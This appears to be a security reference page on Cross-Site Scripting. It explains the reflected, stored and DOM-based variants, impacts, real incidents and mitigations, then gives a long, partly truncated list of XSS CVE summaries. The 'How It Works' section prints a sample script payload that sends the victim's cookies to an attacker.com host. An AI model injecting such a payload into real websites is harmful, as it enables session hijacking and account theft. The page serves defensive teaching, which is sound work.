Cross-Site Scripting
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
How It Works
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.
The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.
A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.
Impact
- Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
- Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
- Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
- Keylogging: Monitor and exfiltrate everything users type on the compromised page
- Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
- Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests
Real-World Examples
A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.
eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.
British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.
Mitigation
- Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
- Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
- HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
- Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
- DOM-based XSS prevention: Use safe APIs like
textContentinstead ofinnerHTML; avoid passing user data to dangerous sinks likeeval()
Recent CVEs (39194)
The Mega Addons For WPBakery Page Builder WordPress plugin before 4.3.0 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Ultimate Carousel For WPBakery Page Builder WordPress plugin through 2.6 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Task instance details page in the UI is vulnerable to a stored XSS.6.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Cross-site Scripting (XSS) - Stored in GitHub repository openemr/openemr prior to 7.0.1. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
A vulnerability has been found in SourceCodester Multi Language Hotel Management Software 1.0 and classified as problematic. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
A vulnerability was found in jja8 NewBingGoGo up to 2023.5.5.2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
IBM Business Automation Workflow 18.0.0.0, 18.0.0.1, 18.0.0.2, 19.0.0.1, 19.0.0.2, 19.0.0.3, 20.0.0.1, 20.0.0.2, 21.0.2, 21.0.3, 22.0.1, and 22.0.2 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Cross-site Scripting (XSS) - Stored in GitHub repository unilogies/bumsys prior to 2.2.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Cross-site Scripting (XSS) - Stored in GitHub repository thorsten/phpmyfaq prior to 3.1.13. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Cross-site Scripting (XSS) - Stored in GitHub repository nilsteampassnet/teampass prior to 3.0.7. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Cross-site Scripting (XSS) - Reflected in GitHub repository thorsten/phpmyfaq prior to 3.1.13. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
A cross-site scripting (XSS) vulnerability in Open Networking Foundation ONOS from version v1.9.0 to v2.7.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A stored cross-site scripting (XSS) vulnerability in TotalJS messenger commit b6cf1c9 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the private task. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A stored cross-site scripting (XSS) vulnerability in TotalJS messenger commit b6cf1c9 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the user. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A stored cross-site scripting (XSS) vulnerability in TotalJS messenger commit b6cf1c9 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the channel. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A stored cross-site scripting (XSS) vulnerability in TotalJS Flow v10 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the platform name field in the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
A stored cross-site scripting (XSS) vulnerability in Typecho v1.2.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the url parameter at. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability was found in NEXTU NEXT-7004N 3.0.1. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Tuleap Open ALM is a Libre and Open Source tool for end to end traceability of application and system developments. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
A cross-site scripting vulnerability (XSS) in the component microbin/src/pasta.rs of Microbin v1.2.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
An improper neutralization of input during web page generation ('Cross-site Scripting') vulnerability [CWE-79] in FortiNAC-F version 7.2.0, FortiNAC version 9.4.2 and below, 9.2 all versions, 9.1 all. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
A stored cross-site scripting (XSS) vulnerability in DouPHP v1.7 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the unique_id parameter in. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
A cross-site scripting issue has been discovered in GitLab affecting all versions starting from 5.1 before 15.9.6, all versions starting from 15.10 before 15.10.5, all versions starting from 15.11. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Cross Site Scripting (XSS) vulnerability in Rediker Software AdminPlus 6.1.91.00 allows remote attackers to run arbitrary code via the onload function within the application DOM. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Due to insufficient validation of parameters reflected in error messages by the legacy HTTP query API and the logging endpoint, it is possible to inject and execute malicious JavaScript within the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Multiple reflected cross-site scripting (XSS) vulnerabilities exist in undisclosed pages of the BIG-IP Configuration utility which allow an attacker to run JavaScript in the context of the currently. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
The setMediaSource function on the amzn.thin.pl service does not sanitize the "source" parameter allowing for arbitrary javascript code to be run This issue affects: Amazon Fire TV Stick 3rd gen. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
A Stored Cross Site Scripting (XSS) vulnerability exists in multiple pages of Hotel Druid version 3.0.4, which allows arbitrary execution of commands. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The parameters nutzer_titel, nutzer_vn, and nutzer_nn in the user profile, and langID and ONLINEID in direct links, in evasys before 8.2 Build 2286 and 9.x before 9.0 Build 2401 do not validate. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability was found in Funadmin up to 3.2.3. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability was found in Dromara J2eeFAST up to 2.6.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability was found in Dromara J2eeFAST up to 2.6.0 and classified as problematic. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A Cross-site scripting (XSS) vulnerability in the System Log/General Log page of the administrator web UI in ASUS RT-AC51U wireless router firmware version up to and including 3.0.0.4.380.8591 allows. Rated medium severity (CVSS 5.2), this vulnerability is no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
The Limit Login Attempts WordPress plugin through 1.7.2 does not sanitize and escape usernames when outputting them back in the logs dashboard, which could allow any authenticated users, such as. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Product Catalog Feed by PixelYourSite WordPress plugin before 2.1.1 does not sanitise and escape the page parameter before outputting it back in an attribute, leading to a Reflected Cross-Site. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
The Product Catalog Feed by PixelYourSite WordPress plugin before 2.1.1 does not sanitise and escape the edit parameter before outputting it back in an attribute, leading to a Reflected Cross-Site. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
The WP Custom Author URL WordPress plugin before 1.0.5 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Quick Paypal Payments WordPress plugin before 5.7.26.4 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The MyCryptoCheckout WordPress plugin before 2.124 does not escape some URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
The Site Reviews WordPress plugin before 6.7.1 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The SMTP Mailing Queue WordPress plugin before 2.0.1 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The amr ical events lists WordPress plugin through 6.6 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The StagTools WordPress plugin before 2.3.7 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Archer Platform 6.8 before 6.12 P6 HF1 (6.12.0.6.1) contains a stored XSS vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
A cross-site scripting (XSS) vulnerability in the Zyxel NBG-418N v2 firmware versions prior to V1.00(AARP.14)C0 could allow a remote authenticated attacker with administrator privileges to store. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, low attack complexity.
Cross Site Scripting (XSS) vulnerability in PerfreeBlog 3.1.2 allows attackers to execute arbitrary code via the Post function. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Cross Site Scripting (XSS) vulnerability in pandao editor.md thru 1.5.0 allows attackers to inject arbitrary web script or HTML via crafted markdown text. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Cross site scripting (XSS) vulnerability in ZHENFENG13 My-Blog, allows attackers to inject arbitrary web script or HTML via editing an article in the "blog article" page due to the default. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Cross Site Scripting (XSS) vulnerability in WinterChenS my-site before commit 3f0423da6d5200c7a46e200da145c1f54ee18548, allows attackers to inject arbitrary web script or HTML via editing blog. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Quick Facts
- Typical Severity
- MEDIUM
- Category
- web
- Total CVEs
- 39194